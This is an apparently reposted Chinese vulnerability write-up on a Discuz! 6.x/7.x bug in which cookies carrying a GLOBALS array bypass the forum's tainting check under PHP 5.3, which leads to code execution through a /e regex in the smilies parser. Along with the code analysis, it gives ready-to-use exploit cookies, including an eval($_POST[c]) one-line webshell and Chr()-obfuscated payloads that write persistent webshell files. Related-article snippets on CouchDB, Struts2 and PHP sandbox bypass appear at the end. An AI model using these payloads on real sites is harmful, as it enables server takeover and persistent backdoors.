Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

漏洞概述:

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。

漏洞分析:

include/global.func.php代码里:

1

2

3

4

5

6

7

8

9

10

11

12

13

function daddslashes($string, $force = 0) {

!defined(‘MAGIC_QUOTES_GPC‘) && define(‘MAGIC_QUOTES_GPC‘, get_magic_quotes_gpc());

if(!MAGIC_QUOTES_GPC || $force) {

if(is_array($string)) {

foreach($string as $key => $val) {

$string[$key] = daddslashes($val, $force);

}

} else {

$string = addslashes($string);

}

}

return $string;

}

include/common.inc.php里:

1

2

3

4

5

foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) {

foreach($$_request as $_key => $_value) {

$_key{0} != ‘_‘ && $$_key = daddslashes($_value);

}

}

模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少:(

不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:

1

2

3

if (isset($_REQUEST[‘GLOBALS‘]) OR isset($_FILES[‘GLOBALS‘])) {

exit(‘Request tainting attempted.‘);

}

这样就没法提交GLOBALS变量了么?

$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)

漏洞利用

include/discuzcode.func.php

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode =

1, $allowhtml = 0, $jammer = 0, $parsetype = ‘0‘, $authorid = ‘0‘, $allowmediacode = ‘0‘, $pid = 0) {

global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowat

tachurl;

if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, ‘[/code]‘) || strpos($message, ‘[/CODE]‘)

) !== FALSE) {

$message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp(‘\\1‘)", $message);

}

$msglower = strtolower($message);

//$htmlon = $htmlon && $allowhtml ? 1 : 0;

if(!$htmlon) {

$message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspeci

alchars($message);

}

if(!$smileyoff && $allowsmilies && !empty($GLOBALS[‘_DCACHE‘][‘smilies‘]) && is_array($GLOBALS[‘_DCACHE‘][‘smili

es‘])) {

if(!$discuzcodes[‘smiliesreplaced‘]) {

foreach($GLOBALS[‘_DCACHE‘][‘smilies‘][‘replacearray‘] AS $key => $smiley) {

$GLOBALS[‘_DCACHE‘][‘smilies‘][‘replacearray‘][$key] = ‘<img src="images/smilies/‘.$GLOB

ALS[‘_DCACHE‘][‘smileytypes‘][$GLOBALS[‘_DCACHE‘][‘smilies‘][‘typearray‘][$key]][‘directory‘].‘/‘.$smiley.‘" smilieid="‘

.$key.‘" border="0" />‘;

}

$discuzcodes[‘smiliesreplaced‘] = 1;

}

$message = preg_replace($GLOBALS[‘_DCACHE‘][‘smilies‘][‘searcharray‘], $GLOBALS[‘_DCACHE‘][‘smilies‘][‘r

eplacearray‘], $message, $maxsmilies);

}

注意到:
$message = preg_replace($GLOBALS[‘_DCACHE’][‘smilies’][‘searcharray’], $GLOBALS[‘_DCACHE’][‘smilies’][‘replacearray’], $message, $maxsmilies)?
请求中Cookie带

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui? GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()?
即可执行phpinfo。
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui? GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B?
即一句话木马。

此后门漏洞十分隐蔽,不容易发现。

利用条件:

1.discuz 6.x / 7.x

2.request_order默认值为GP

K8飞刀的exp:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

===============================================================================================================================================================

Discuz 6.x/7.x 代码执行漏洞触发条件:

1 URL连接中的帖子或评论必须带有表情(没有自己去回复)

2 php>5.3.x 且 request_order值为GP (默认值为GP)

3 后台--帖子内容页---最大单一表情解析次数: 为0

4 第2次提交Cookie,若没成功,请在浏览框里右键刷新

默认EXP: forumdata/cache/admingroups.php

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(102).Chr(111).Chr(114).Chr(117).Chr(109).Chr(100).Chr(97).Chr(116).Chr(97).Chr(92).Chr(99).Chr(97).Chr(99).Chr(104).Chr(101).Chr(92).Chr(97).Chr(100).Chr(109).Chr(105).Chr(110).Chr(103).Chr(114).Chr(111).Chr(117).Chr(112).Chr(115).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(111).Chr(109).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

路径: secpulse.php

测试: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo()

密文(PHP_ChrString):

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(115).Chr(101).Chr(99).Chr(112).Chr(117).Chr(108).Chr(115).Chr(101).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(111).Chr(109).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

参考地址:

http://www.80vul.com/dzvul/sodb/19/sodb-2010-01.txt

Discuz!某两个版本前台产品命令执行(无需登录)

http://www.wooyun.org/bugs/wooyun-2010-080723

转载请注明:安全脉搏 » Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

时间: 2024-10-27 02:15:00

Discuz! 6.x/7.x 全局变量防御绕过导致命令执行的相关文章

Discuz! 6.x/7.x 全局变量防御绕过漏洞

受影响产品: Discuz! 6.x/7.x 漏洞描述: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞 include/global.func.php代码里: function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quot

Couchdb垂直权限绕过到命令执行

0x00couchdb简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库.应用广泛. 0x01两个漏洞的关系及原理 CVE-2017-12635垂直越权: CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的.这个漏洞可以让任意用户创建管理员,属于

Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!

漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞.当你的应用使用了Struts2 Struts1的插件时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行. 解决方案 向ActionMessage传递原始消息时使用类似下面的资源键值,不要

转:LNMP虚拟主机PHP沙盒绕过/命令执行(php exec命令被禁之后)

LNMP虚拟主机PHP沙盒绕过/命令执行 lnmp更新1.2版本,很多东西都升级了,很棒.不过还是发现一个BUG. LNMP是一款linux下nginx.php.mysql一键安装包. 下载:http://soft.vpser.net/lnmp/lnmp1.2.tar.gz 执行一个命令即可简单安装. 漏洞详情 LNMP是这样配置沙盒的: disable_functions,配置在 include/php.sh中: 其值为: 1 passthru,exec,system,chroot,scand

ThinkSNS 防御绕过思路

ThinkSNS 防御绕过思路(union select 真正的无限制sql注射) public function bulkDoFollow() {        // 安全过滤    $res = $this->_follow_model->bulkDoFollow($this->mid, t($_POST['fids']));    $this->ajaxReturn($res, $this->_follow_model->getError(), false !==

SQL注入防御绕过——二次编码之干掉反斜杠

SQL注入防御绕过--二次编码 01 背景知识 一.为什么要进行URL编码 通常如果一样东西需要编码,说明这样东西并不适合传输.对于URL来说,编码主要是为了避免引发歧义与混乱.例如,URL参数字符串中使用key=value键值对这样的形式来传参,键值对之间以&符号分隔,如/?name=abc&pwd=123如果你的value字符串中包含了=或者&,那么势必会造成接收Url的服务器解析错误,因此必须将引起歧义的&和= 符号进行转义,也就是对其进行编码.对于URL编码的深入研

DVWA系列之10 命令执行漏洞的挖掘与防御

通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数. EscapeShellCmd()函数可以把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道符(|).分号(;).重定向(>).从文件读入(<)等. 下面我们来测试一下这个函数是否管用,以low级别的命令执行漏洞为例,对应的网页文件为D:\AppServ\www\dvwa\vulnerabilities\exec\source\low.p

SQL注入防御绕过

一.宽字节注入1.什么是宽字节GB2312.GBK.GB18030.BIG5等这些都是常说的宽字节,实际为两字节 2.宽字节注入原理防御:将 ' 转换为 \'绕过:将 \ 消灭 mysql在使用GBK编码的时候,会认为两个字符为一个汉字\ 编码为 %5c' 编码为%27%df%5c mysql会认为是一个汉字构造:%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义注:前一个ascii码大于128才能到汉字的范围 注入方法:在注入点后键入%df

Discuz! 6.x/7.x 版本 前台任意代码执行漏洞

一.漏洞原理: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞. include/global.func.php代码里: 01 function daddslashes($string, $force = 0) { 02         !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc